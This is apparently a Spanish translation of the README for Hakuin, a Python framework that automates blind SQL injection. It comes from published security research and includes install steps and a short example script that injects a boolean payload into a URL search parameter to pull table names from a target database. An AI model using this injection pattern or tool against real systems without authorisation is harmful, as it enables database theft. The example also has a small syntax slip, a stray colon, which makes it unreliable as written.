
Un marco de trabajo de optimización y automatización de Inyección SQL Ciega ultrarrápido y totalmente configurable.
Hakuin es un marco de optimización y automatización de Inyección SQL Ciega (BSQLI) escrito en Python 3. Abstracta la lógica de extracción y permite a los usuarios volcar bases de datos de aplicaciones web vulnerables de manera fácil y eficiente. Para acelerar el proceso, Hakuin utiliza una variedad de métodos de optimización, incluyendo modelos de lenguaje preentrenados y adaptativos, adivinación oportunista, modelado estadístico, paralelismo, consultas ternarias y más.
Hakuin ha sido presentado en prestigiosas conferencias académicas e industriales:
Más información se puede encontrar en nuestro artículo y diapositivas.
Para instalar Hakuin, simplemente ejecute:
pip3 install hakuin
Hakuin viene con una herramienta intuitiva que ofrece la mayoría de las funciones de Hakuin directamente desde la línea de comandos:
hk -h
A veces, las vulnerabilidades BSQLI son demasiado complicadas de explotar desde la línea de comandos y requieren un scripting personalizado. Aquí es donde Hakuin destaca, permitiéndole personalizar absolutamente todo: la lógica de inyección, la lógica de inferencia e incluso las consultas.
Aquí hay un ejemplo mínimo:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Asegúrese de revisar nuestro tutorial.
Este repositorio se desarrolla activamente para satisfacer las necesidades de los profesionales de la seguridad. Los investigadores que deseen reproducir los experimentos descritos en nuestro artículo deben instalar la versión congelada ya que contiene el código original, los scripts de experimentos y un manual de instrucciones para reproducir los resultados.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}